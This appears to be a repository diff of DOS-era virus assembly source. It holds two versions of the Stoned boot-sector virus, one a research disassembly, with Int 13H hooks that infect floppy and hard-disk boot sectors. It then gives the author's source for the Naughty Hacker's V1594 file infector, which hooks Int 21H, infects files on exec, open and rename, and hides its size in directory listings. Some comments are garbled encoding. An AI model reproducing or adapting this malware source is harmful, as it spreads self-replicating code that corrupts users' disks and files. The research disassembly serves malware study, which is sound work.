|
||||
BP0020: PUSH DS
|
||||
PUSH AX
|
||||
CMP AH,2 ; Sub-function 2
|
||||
JB BP0030 ; Pass on if below
|
||||
CMP AH,4 ; Sub-function 4
|
||||
JNB BP0030 ; Pass on if not below
|
||||
CMP DL,0 ; Is drive A
|
||||
JNE BP0030 ; Pass on if not
|
||||
XOR AX,AX ; \ Segment zero
|
||||
MOV DS,AX ; /
|
||||
MOV AL,BB0440 ; Get motor timeout counter
|
||||
OR AL,AL ; Test for zero
|
||||
JNE BP0030 ; Branch if not
|
||||
CALL BP0040 ; Call infection routine
|
||||
BP0030: POP AX
|
||||
POP DS
|
||||
JMP INT_13 ; Pass control to Int 13H
|
||||
|
||||
; Infection routine
|
||||
|
||||
BP0040: PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
MOV SI,4 ; Retry count
|
||||
BP0050: MOV AX,201H ; Read one sector
|
||||
PUSH CS ; \ Set ES to CS
|
||||
POP ES ; /
|
||||
MOV BX,200H ; Boot sector buffer
|
||||
MOV CX,1 ; Track zero, sector 1
|
||||
XOR DX,DX ; Head zero, drive A
|
||||
PUSHF ; Fake an interrupt
|
||||
CALL INT_13 ; Call Int 13H
|
||||
JNB BP0060 ; Branch if no error
|
||||
XOR AX,AX ; Reset disk sub-system
|
||||
PUSHF ; Fake an interrupt
|
||||
CALL INT_13 ; Call Int 13H
|
||||
DEC SI ; Decrement retry count
|
||||
JNE BP0050 ; Retry
|
||||
JMP BP0080 ; No more retries
|
||||
|
||||
BP0060: XOR SI,SI ; Start of program
|
||||
MOV DI,200H ; Boot sector buffer
|
||||
MOV AX,ES:[SI] ; Get first word
|
||||
CMP AX,ES:[DI] ; Test if same
|
||||
JNE BP0070 ; Install if not
|
||||
MOV AX,ES:[SI+2] ; Get second word
|
||||
CMP AX,ES:[DI+2] ; Test if same
|
||||
JNE BP0070 ; Install if not
|
||||
JMP BP0080 ; Pass on
|
||||
|
||||
BP0070: MOV AX,301H ; Write one sector
|
||||
MOV BX,200H ; Boot sector buffer
|
||||
MOV CX,3 ; Track zero, sector 3
|
||||
MOV DX,100H ; Head 1, drive A
|
||||
PUSHF ; Fake an interrupt
|
||||
CALL INT_13 ; Call Int 13H
|
||||
JB BP0080 ; Branch if error
|
||||
MOV AX,301H ; Write one sector
|
||||
XOR BX,BX ; This sector
|
||||
MOV CL,1 ; Track zero, sector 1
|
||||
XOR DX,DX ; Head zero, drive A
|
||||
PUSHF ; Fake an interrupt
|
||||
CALL INT_13 ; Call Int 13H
|
||||
BP0080: POP DI
|
||||
POP SI
|
||||
POP ES
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
RET
|
||||
|
||||
; Display message
|
||||
|
||||
BP0090: MOV AL,CS:[BX] ; Get next message byte
|
||||
INC BX ; Update pointer
|
||||
CMP AL,0 ; Test for end of message
|
||||
JNE BP0100 ; Branch to display
|
||||
RET
|
||||
|
||||
BP0100: PUSH AX
|
||||
PUSH BX
|
||||
MOV AH,0EH ; Write TTY mode
|
||||
MOV BH,0
|
||||
INT 10H ; VDU I/O
|
||||
POP BX
|
||||
POP AX
|
||||
JMP SHORT BP0090 ; Process next byte
|
||||
|
||||
; Install in high core
|
||||
|
||||
BP0110: XOR AX,AX ; \ Segment zero
|
||||
MOV DS,AX ; /
|
||||
CLI
|
||||
MOV SS,AX ; \ Set stack to boot sector area
|
||||
MOV SP,7C00H ; /
|
||||
STI
|
||||
MOV AX,BW004C ; Get Int 13H offset
|
||||
MOV I13_OF,AX ; Store in jump offset
|
||||
MOV AX,BW004E ; Get Int 13H segment
|
||||
MOV I13_SG,AX ; Store in jump segment
|
||||
MOV AX,BW0413 ; Get total RAM size
|
||||
DEC AX ; \ Subtract 2k
|
||||
DEC AX ; /
|
||||
MOV BW0413,AX ; Replace total RAM size
|
||||
MOV CL,6 ; Bits to move
|
||||
SHL AX,CL ; Convert to Segment
|
||||
MOV ES,AX ; Set ES to segment
|
||||
MOV HICOSG,AX ; Move segment to jump address
|
||||
MOV AX,OFFSET BP0020 ; Get Int 13H routine address
|
||||
MOV BW004C,AX ; Set new Int 13H offset
|
||||
MOV BW004E,ES ; Set new Int 13H segment
|
||||
MOV CX,OFFSET ENDADR ; Load length of program
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
XOR SI,SI ; \ Set pointers to zero
|
||||
MOV DI,SI ; /
|
||||
CLD
|
||||
REPZ MOVSB ; Copy program to high core
|
||||
JMP HIGHCO ; Branch to next instruc in high core
|
||||
|
||||
; Continue processing in high core
|
||||
|
||||
BP0120: MOV AX,0 ; Reset disk sub-system
|
||||
INT 13H ; Disk I/O
|
||||
XOR AX,AX ; \ Segment zero
|
||||
MOV ES,AX ; /
|
||||
ASSUME DS:NOTHING,ES:RAM
|
||||
MOV AX,201H ; Read one sector
|
||||
MOV BX,7C00H ; Boot sector buffer address
|
||||
CMP DRIVEN,0 ; Test drive is A
|
||||
JE BP0130 ; Branch if yes
|
||||
MOV CX,2 ; Track zero, sector 2
|
||||
MOV DX,80H ; Side zero, drive C
|
||||
INT 13H ; Disk I/O
|
||||
JMP BP0150 ; Pass control to boot sector
|
||||
|
||||
; Floppy disk
|
||||
|
||||
BP0130: MOV CX,3 ; Track zero, sector 3
|
||||
MOV DX,100H ; Side one, drive A
|
||||
INT 13H ; Disk I/O
|
||||
JB BP0150 ; Branch if error
|
||||
TEST BB046C,7 ; Test low byte of time
|
||||
JNZ BP0140 ; Branch if not 7
|
||||
MOV BX,OFFSET MESSAGE ; Load message address
|
||||
CALL BP0090 ; Display message
|
||||
BP0140: PUSH CS ; \ Set ES to CS
|
||||
POP ES ; /
|
||||
MOV AX,201H ; Read one sector
|
||||
MOV BX,200H ; C-disk boot sector buffer
|
||||
MOV CX,1 ; Track zero, sector 1
|
||||
MOV DX,80H ; Side zero, drive C
|
||||
INT 13H ; Disk I/O
|
||||
JB BP0150 ; Branch if error
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
MOV SI,200H ; C-disk boot sector buffer
|
||||
MOV DI,0 ; Start of program
|
||||
MOV AX,[SI] ; Get first word
|
||||
CMP AX,[DI] ; Compare to C-disk
|
||||
JNE BP0160 ; Install on C-disk if different
|
||||
MOV AX,[SI+2] ; Get second word
|
||||
CMP AX,[DI+2] ; Compare to C-disk
|
||||
JNE BP0160 ; Install on C-disk if different
|
||||
BP0150: MOV DRIVEN,0 ; Drive A
|
||||
MOV DUMMY,0
|
||||
JMP BOOTST ; Pass control to boot sector
|
||||
|
||||
; Install on C-disk
|
||||
|
||||
BP0160: MOV DRIVEN,2 ; Drive C
|
||||
MOV DUMMY,0
|
||||
MOV AX,301H ; Write one sector
|
||||
MOV BX,200H ; C-disk boot sector buffer
|
||||
MOV CX,2 ; Track zero, sector 2
|
||||
MOV DX,80H ; side zero, drive C
|
||||
INT 13H ; Disk I/O
|
||||
JB BP0150 ; Branch if error
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
PUSH CS ; \ Set ES to CS
|
||||
POP ES ; /
|
||||
MOV SI,OFFSET ENDADR+200H ; Target offset
|
||||
MOV DI,OFFSET ENDADR ; Source offset
|
||||
MOV CX,OFFSET 400H-ENDADR ; Length to move
|
||||
REPZ MOVSB ; Copy C-disk boot sector
|
||||
MOV AX,301H ; Write one sector
|
||||
MOV BX,0 ; Write this sector
|
||||
MOV CX,1 ; Track zero, sector 1
|
||||
MOV DX,80H ; Side zero, drive C
|
||||
INT 13H ; Disk I/O
|
||||
JMP SHORT BP0150 ; Pass control to boot sector
|
||||
|
||||
MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
|
||||
DB 'LEGALISE MARIJUANA!'
|
||||
|
||||
ENDADR EQU $-1
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
|
@ -0,0 +1,280 @@
|
|||
page 65,132
|
||||
title The 'New Zealand' Virus (Update)
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º British Computer Virus Research Centre º
|
||||
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
||||
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
||||
; º º
|
||||
; º The 'New Zealand' Virus (Update) º
|
||||
; º Disassembled by Joe Hirst, March 1989 º
|
||||
; º º
|
||||
; º Copyright (c) Joe Hirst 1989. º
|
||||
; º º
|
||||
; º This listing is only to be made available to virus researchers º
|
||||
; º or software writers on a need-to-know basis. º
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
; This disassembly is derived from an inconsistently updated
|
||||
; assembler version which arrived in this country with the original
|
||||
; executable program.
|
||||
|
||||
; The virus consists of a boot sector only. The original boot sector
|
||||
; is kept at track zero, head one, sector three on a floppy disk, or
|
||||
; track zero, head zero, sector seven on a hard disk.
|
||||
|
||||
; The program requires an origin address of 7C00H, as it is designed
|
||||
; to load and run as a boot sector.
|
||||
|
||||
RAM SEGMENT AT 0
|
||||
|
||||
; System data
|
||||
|
||||
ORG 4CH
|
||||
BW004C DW ? ; Interrupt 19 (13H) offset
|
||||
BW004E DW ? ; Interrupt 19 (13H) segment
|
||||
ORG 413H
|
||||
BW0413 DW ? ; Total RAM size
|
||||
ORG 43FH
|
||||
BB043F DB ? ; Drive Motor Flag
|
||||
ORG 46CH
|
||||
BB046C DB ? ; System clock
|
||||
|
||||
ORG 7C0AH
|
||||
I13_OF DW ?
|
||||
I13_SG DW ?
|
||||
HICOOF DW ?
|
||||
HICOSG DW ? ; High core segment
|
||||
|
||||
RAM ENDS
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:RAM
|
||||
|
||||
START: DB 0EAH ; Far jump to next byte
|
||||
DW BP0010, 07C0H
|
||||
|
||||
BP0010: JMP BP0110
|
||||
|
||||
DRIVEN DB 0 ; Drive number (A=0, B=1, C=2)
|
||||
|
||||
; Original Int 13H address
|
||||
|
||||
INT_13 EQU THIS DWORD
|
||||
DW ?
|
||||
DW ?
|
||||
|
||||
; Branch address in high core
|
||||
|
||||
HIGHCO EQU THIS DWORD
|
||||
DW BP0120
|
||||
DW 0
|
||||
|
||||
; Boot sector processing address
|
||||
|
||||
BOOTST EQU THIS DWORD
|
||||
DW 07C00H
|
||||
DW 0
|
||||
|
||||
; Interrupt 13H disk I/O routine
|
||||
|
||||
BP0020: PUSH DS
|
||||
PUSH AX
|
||||
CMP AH,2 ; Sub-function 2
|
||||
JB BP0030 ; Pass on if below
|
||||
CMP AH,4 ; Sub-function 4
|
||||
JNB BP0030 ; Pass on if not below
|
||||
OR DL,DL ; Is drive A
|
||||
JNZ BP0030 ; Pass on if not
|
||||
XOR AX,AX ; \ Segment zero
|
||||
MOV DS,AX ; /
|
||||
MOV AL,BB043F ; Get motor timeout counter
|
||||
TEST AL,1 ; Is drive zero running
|
||||
JNZ BP0030 ; Branch if not
|
||||
CALL BP0040 ; Call infection routine
|
||||
BP0030: POP AX
|
||||
POP DS
|
||||
JMP INT_13 ; Pass control to Int 13H
|
||||
|
||||
; Infection routine
|
||||
|
||||
BP0040: PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
MOV SI,4 ; Retry count
|
||||
BP0050: MOV AX,201H ; Read one sector
|
||||
PUSH CS ; \ Set ES to CS
|
||||
POP ES ; /
|
||||
MOV BX,200H ; Boot sector buffer
|
||||
XOR CX,CX ; Clear register
|
||||
MOV DX,CX ; Head zero, drive A
|
||||
INC CX ; Track zero, sector 1
|
||||
PUSHF ; Fake an interrupt
|
||||
CALL INT_13 ; Call Int 13H
|
||||
JNB BP0060 ; Branch if no error
|
||||
XOR AX,AX ; Reset disk sub-system
|
||||
PUSHF ; Fake an interrupt
|
||||
CALL INT_13 ; Call Int 13H
|
||||
DEC SI ; Decrement retry count
|
||||
JNZ BP0050 ; Retry
|
||||
JMP BP0080 ; No more retries
|
||||
|
||||
BP0060: XOR SI,SI ; Start of program
|
||||
MOV DI,200H ; Boot sector buffer
|
||||
CLD
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
LODSW ; Get first word
|
||||
CMP AX,[DI] ; Test if same
|
||||
JNE BP0070 ; Install if not
|
||||
LODSW ; Get second word
|
||||
CMP AX,[DI+2] ; Test if same
|
||||
JE BP0080 ; Branch if same
|
||||
BP0070: MOV AX,301H ; Write one sector
|
||||
MOV BX,200H ; Boot sector buffer
|
||||
MOV CL,3 ; Sector 3
|
||||
MOV DH,1 ; Head 1
|
||||
PUSHF ; Fake an interrupt
|
||||
CALL INT_13 ; Call Int 13H
|
||||
JB BP0080 ; Branch if error
|
||||
MOV AX,301H ; Write one sector
|
||||
XOR BX,BX ; This sector
|
||||
MOV CL,1 ; Track zero, sector 1
|
||||
XOR DX,DX ; Head zero, drive A
|
||||
PUSHF ; Fake an interrupt
|
||||
CALL INT_13 ; Call Int 13H
|
||||
BP0080: POP DI
|
||||
POP SI
|
||||
POP ES
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
RET
|
||||
|
||||
; Install in high core
|
||||
|
||||
BP0110: XOR AX,AX ; \ Segment zero
|
||||
MOV DS,AX ; /
|
||||
CLI
|
||||
MOV SS,AX ; \ Set stack to boot sector area
|
||||
MOV SP,7C00H ; /
|
||||
STI
|
||||
MOV AX,BW004C ; Get Int 13H offset
|
||||
MOV I13_OF,AX ; Store in jump offset
|
||||
MOV AX,BW004E ; Get Int 13H segment
|
||||
MOV I13_SG,AX ; Store in jump segment
|
||||
MOV AX,BW0413 ; Get total RAM size
|
||||
DEC AX ; \ Subtract 2k
|
||||
DEC AX ; /
|
||||
MOV BW0413,AX ; Replace total RAM size
|
||||
MOV CL,6 ; Bits to move
|
||||
SHL AX,CL ; Convert to Segment
|
||||
MOV ES,AX ; Set ES to segment
|
||||
MOV HICOSG,AX ; Move segment to jump address
|
||||
MOV AX,OFFSET BP0020 ; Get Int 13H routine address
|
||||
MOV BW004C,AX ; Set new Int 13H offset
|
||||
MOV BW004E,ES ; Set new Int 13H segment
|
||||
MOV CX,OFFSET ENDADR ; Load length of program
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
XOR SI,SI ; \ Set pointers to zero
|
||||
MOV DI,SI ; /
|
||||
CLD
|
||||
REP MOVSB ; Copy program to high core
|
||||
JMP HIGHCO ; Branch to next instruc in high core
|
||||
|
||||
; Continue processing in high core
|
||||
|
||||
BP0120: MOV AX,0 ; Reset disk sub-system
|
||||
INT 13H ; Disk I/O
|
||||
XOR AX,AX ; \ Segment zero
|
||||
MOV ES,AX ; /
|
||||
ASSUME DS:NOTHING,ES:RAM
|
||||
MOV AX,201H ; Read one sector
|
||||
MOV BX,7C00H ; Boot sector buffer address
|
||||
CMP DRIVEN,0 ; Test drive is A
|
||||
JE BP0130 ; Branch if yes
|
||||
MOV CX,7 ; Track zero, sector 7
|
||||
MOV DX,80H ; Side zero, drive C
|
||||
INT 13H ; Disk I/O
|
||||
JMP BP0150 ; Pass control to boot sector
|
||||
|
||||
; Floppy disk
|
||||
|
||||
BP0130: MOV CX,3 ; Track zero, sector 3
|
||||
MOV DX,100H ; Side one, drive A
|
||||
INT 13H ; Disk I/O
|
||||
JB BP0150 ; Branch if error
|
||||
TEST BB046C,7 ; Test low byte of time
|
||||
JNZ BP0140 ; Branch if not 7
|
||||
MOV SI,OFFSET MESSAGE ; Load message address
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
BP0135: LODSB ; Get next byte of message
|
||||
OR AL,AL ; Is it zero
|
||||
JZ BP0140 ; Branch if yes
|
||||
MOV AH,0EH ; Write TTY mode
|
||||
MOV BH,0
|
||||
INT 10H ; VDU I/O
|
||||
JMP BP0135 ; Process next byte
|
||||
|
||||
BP0140: PUSH CS ; \ Set ES to CS
|
||||
POP ES ; /
|
||||
MOV AX,201H ; Read one sector
|
||||
MOV BX,200H ; C-disk boot sector buffer
|
||||
MOV CL,1 ; Sector 1
|
||||
MOV DX,80H ; Side zero, drive C
|
||||
INT 13H ; Disk I/O
|
||||
JB BP0150 ; Branch if error
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
MOV SI,200H ; C-disk boot sector buffer
|
||||
MOV DI,0 ; Start of program
|
||||
LODSW ; Get first word
|
||||
CMP AX,[DI] ; Compare to C-disk
|
||||
JNE BP0160 ; Install on C-disk if different
|
||||
LODSW ; Get second word
|
||||
CMP AX,[DI+2] ; Compare to C-disk
|
||||
JNE BP0160 ; Install on C-disk if different
|
||||
BP0150: MOV DRIVEN,0 ; Drive A
|
||||
JMP BOOTST ; Pass control to boot sector
|
||||
|
||||
; Install on C-disk
|
||||
|
||||
BP0160: MOV DRIVEN,2 ; Drive C
|
||||
MOV AX,301H ; Write one sector
|
||||
MOV BX,200H ; C-disk boot sector buffer
|
||||
MOV CX,7 ; Track zero, sector 7
|
||||
MOV DX,80H ; side zero, drive C
|
||||
INT 13H ; Disk I/O
|
||||
JB BP0150 ; Branch if error
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
PUSH CS ; \ Set ES to CS
|
||||
POP ES ; /
|
||||
MOV SI,OFFSET MESS02+200H ; Target offset
|
||||
MOV DI,OFFSET MESS02 ; Source offset
|
||||
MOV CX,OFFSET 400H-MESS02 ; Length to move
|
||||
REP MOVSB ; Copy C-disk boot sector
|
||||
MOV AX,301H ; Write one sector
|
||||
XOR BX,BX ; Write this sector
|
||||
INC CL ; Track zero, sector 1
|
||||
MOV DX,80H ; Side zero, drive C
|
||||
INT 13H ; Disk I/O
|
||||
JMP BP0150 ; Pass control to boot sector
|
||||
|
||||
MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
|
||||
MESS02 DB 'LEGALISE MARIJUANA!'
|
||||
ENDADR EQU $
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
|
@ -0,0 +1,958 @@
|
|||
|
||||
.radix 16
|
||||
|
||||
|
||||
;*********************************
|
||||
;* The Naughty Hacker's virus *
|
||||
;*VERSION 3.1 (And not the last.)*
|
||||
;* ( V1594 ) *
|
||||
;* Finished on the 10.04.1991 *
|
||||
;* *
|
||||
;* Glad to meet you friend! *
|
||||
;* *
|
||||
;*********************************
|
||||
|
||||
;
|
||||
; "It's hard to find a black cat in a dark room, especially if it's not there."
|
||||
;
|
||||
; <20>°¥¤ ¢ ± ±²®¨ ®°¨£¨ «¨¿ ²¥ª±² V1594 ( ª® ¬®¦¥ ² ª ¤ ª ¦¥ !@!?!).
|
||||
; €¢²®°º² (Š®¿) ¯°¥¤¢ °¨²¥«® ¯°¥¤³¯°¥¦¤ ¢ ,·¥ ¥ ¦¥« ¥ ²®§¨ ²¥ª±² ¤ ¡º¤¥
|
||||
; ¯°®¬¥¿ ¯® ¨ª ªº¢ ·¨, ® ª® ¦¥« ¥²¥ ¤ £® ³±º¢º°¸¥±²¢ ²¥ ¬®¦¥ ¤
|
||||
; ¯° ¢¨²¥ ²®¢ ¯º«® ±¢®¡®¤® ¯°¨ ¥¤¨±²¢¥®²® ³±«®¢¨¥, ·¥ ¢ ¯®«³·¥ ²
|
||||
; ®¢ ¢¥°±¨¿ ¿¬ ¤ ¨¬ ¨ª ª¢¨ ° §°³¸¨²¥«¨ ´³ª¶¨¨.
|
||||
; €¢²®°º² ¥ ¯®¥¬ ¨ª ª¢ ®²£®¢®°®±² § ¹¥²¨ ¯°¨·¨¥¨ ®² ‚ˆ<E2809A>“‘€ ......
|
||||
;
|
||||
; „ ±¥ ª®¬¯¨«¨° TURBO ASSEMBLER Ver 1.03B. ’ ª ¯®«³·¥¨¿ ª®¤ ¥ £®²®¢
|
||||
; § ±² °²¨° ¥ ¨ ....
|
||||
;
|
||||
; <20>®§¤° ¢¨ ¤® ¢±¨·ª¨ VIRUSWRITERS !
|
||||
;
|
||||
;
|
||||
; To be continued ...
|
||||
;
|
||||
|
||||
|
||||
call Start_Virus
|
||||
mov dx,offset Hellomsg
|
||||
mov ah,9
|
||||
int 21
|
||||
int 20
|
||||
|
||||
Hellomsg db 0a,0dh,7,'HI WORLD,GIVE ME COMMAND.COM !!!',0a,0dh,7,'$'
|
||||
|
||||
Virus_lenght equ endcode-adjust
|
||||
alllen equ buffer-adjust
|
||||
|
||||
adjust label word
|
||||
|
||||
|
||||
IP_save label word
|
||||
|
||||
First_3 Label Byte
|
||||
;For .COM file here stores
|
||||
ret
|
||||
nop
|
||||
nop
|
||||
|
||||
CS_save dw ? ;The first 3 bytes
|
||||
SP_save dw ?
|
||||
SS_save dw 0FFFF ;0FFFF For COM files
|
||||
|
||||
|
||||
signature:
|
||||
|
||||
db 'N.Hacker' ;It's me the HORSE !!!
|
||||
|
||||
date_stamp:
|
||||
|
||||
dd 10041991 ;10.04.1991
|
||||
|
||||
Run_The_Program:
|
||||
|
||||
pop ds ;Restore saved ds,es,ax
|
||||
pop es ;ds=es=PSP
|
||||
pop ax
|
||||
cmp cs:[bp+SS_save-adjust],0FFFF ;Run the infected program
|
||||
je Run_COM_File
|
||||
|
||||
mov ax,ds ;Calculate load segment
|
||||
add ax,10
|
||||
mov bx,ax
|
||||
add ax,cs:[bp+CS_save-adjust] ;Calculate CS value
|
||||
add bx,cs:[bp+SS_save-adjust] ;Calculate SS value
|
||||
mov ss,bx ;Run .EXE program
|
||||
mov sp,word ptr cs:[bp+SP_save-adjust]
|
||||
push ax
|
||||
push word ptr cs:[bp+IP_save-adjust]
|
||||
retf
|
||||
|
||||
Run_COM_File:
|
||||
|
||||
mov di,100
|
||||
mov si,bp
|
||||
movsb ;Restore the first 3 bytes
|
||||
movsw ;Run .COM program
|
||||
mov bx,100
|
||||
push bx
|
||||
sub bh,bh
|
||||
ret
|
||||
|
||||
;*******************************************************************
|
||||
; *
|
||||
; This is the program entry.... *
|
||||
; *
|
||||
;*******************************************************************
|
||||
|
||||
|
||||
Start_Virus:
|
||||
|
||||
call Get_IP ;This is to get the IP value.
|
||||
|
||||
Get_IP:
|
||||
pop bp ;Get it in BP.
|
||||
sub bp,Get_IP-adjust ;adjust BP point to the begining
|
||||
cld ;Clear direction flag
|
||||
push ax ;Save some registres
|
||||
push es
|
||||
push ds
|
||||
mov es,[2] ;get last segment
|
||||
mov di,Run_The_Program-adjust ;(last segment=segment of virus)
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov si,di
|
||||
add si,bp
|
||||
mov cx,endcode-Run_The_Program
|
||||
rep cmpsb ;check if virus is in memory
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
je Run_The_Program ;If so then run the program
|
||||
|
||||
mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov ds,ax ;ds=MCB
|
||||
sub word ptr [3],80 ;Set block size
|
||||
sub word ptr [12],80 ;Set last segment
|
||||
mov es,[12] ;steal some memory (2K)
|
||||
push cs
|
||||
pop ds
|
||||
sub di,di
|
||||
mov si,bp ;prepare to move in high mem
|
||||
mov cx,alllen ;will move virus+variables
|
||||
rep movsb ;copy there
|
||||
push cs
|
||||
mov ax,Run_The_Program-adjust
|
||||
add ax,bp
|
||||
push ax
|
||||
push es
|
||||
mov ax,offset Set_Vectors-adjust ;Set vectors
|
||||
push ax
|
||||
retf
|
||||
|
||||
Find_First_Next:
|
||||
|
||||
call Call_Original_INT_21h ;fuck when do the dir command
|
||||
push bx
|
||||
push es
|
||||
push ax
|
||||
or al,al
|
||||
jnz Go_Out_ ;if error
|
||||
|
||||
mov ah,2f ;get DTA address
|
||||
int 21
|
||||
|
||||
mov al,byte ptr es:[bx+30d] ;Seconds in al
|
||||
and al,31d ;Mask seconds
|
||||
cmp al,60d/2 ;Seconds=60?
|
||||
jne Go_Out_
|
||||
|
||||
mov ax,es:[bx+36d]
|
||||
mov dx,es:[bx+38d] ;Check File size
|
||||
cmp ax,Virus_lenght*2
|
||||
sbb dx,0
|
||||
jb Go_Out_
|
||||
|
||||
|
||||
Adjust_Size:
|
||||
|
||||
sub es:[bx+28d+7+1],Virus_lenght ;Adjust size
|
||||
sbb es:[bx+28d+2+7+1],0
|
||||
|
||||
Go_Out_:
|
||||
|
||||
pop ax
|
||||
pop es ;Return to caller
|
||||
pop bx
|
||||
iret
|
||||
|
||||
Find_First_Next1:
|
||||
|
||||
call Call_Original_INT_21h
|
||||
pushf
|
||||
push ax
|
||||
push bx ;fuck again
|
||||
push es
|
||||
jc Go_Out_1
|
||||
|
||||
mov ah,2f
|
||||
int 21
|
||||
|
||||
mov al,es:[bx+22d]
|
||||
and al,31d
|
||||
cmp al,60d/2
|
||||
jne Go_Out_1
|
||||
|
||||
mov ax,es:[bx+26d]
|
||||
mov dx,es:[bx+28d]
|
||||
cmp ax,Virus_lenght*2
|
||||
sbb dx,0
|
||||
jb Go_Out_1
|
||||
|
||||
Adjust_Size1:
|
||||
|
||||
sub es:[bx+26d],Virus_lenght
|
||||
sbb es:[bx+28d],0
|
||||
|
||||
Go_Out_1:
|
||||
|
||||
pop es
|
||||
pop bx
|
||||
pop ax ; Dummy proc far
|
||||
popf ; ret 2
|
||||
db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long...
|
||||
|
||||
|
||||
;*************************************
|
||||
; *
|
||||
; Int 21 entry point. *
|
||||
; *
|
||||
;*************************************
|
||||
|
||||
|
||||
|
||||
INT_21h_Entry_Point:
|
||||
|
||||
|
||||
cmp ah,11
|
||||
je Find_First_Next ;Find First Next (old)
|
||||
cmp ah,12
|
||||
je Find_First_Next
|
||||
|
||||
cmp ah,4e ;Find First Next (new)
|
||||
je Find_First_Next1
|
||||
cmp ah,4f
|
||||
je Find_First_Next1
|
||||
|
||||
cmp ah,6ch
|
||||
jne not_create ;Create (4.X)
|
||||
test bl,1
|
||||
jz not_create
|
||||
jnz create
|
||||
|
||||
not_create:
|
||||
|
||||
cmp ah,3ch ;Create (3.X)
|
||||
je create
|
||||
cmp ah,5bh
|
||||
je create
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov byte ptr cs:[function-adjust],ah
|
||||
|
||||
cmp ah,6ch ;Open (4.X)
|
||||
je create_
|
||||
|
||||
cmp ah,3e ;Close
|
||||
je close_
|
||||
|
||||
cmp ax,4b00 ;Exec
|
||||
je Function_4Bh
|
||||
|
||||
cmp ah,17 ;Rename (old)
|
||||
je ren_FCB
|
||||
|
||||
cmp ah,56 ;Rename (new)
|
||||
je Function_4Bh
|
||||
|
||||
cmp ah,43 ;Change attributes
|
||||
je Function_4Bh
|
||||
|
||||
cmp ah,3dh ;Open (3.X)
|
||||
je open
|
||||
|
||||
Return_Control:
|
||||
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
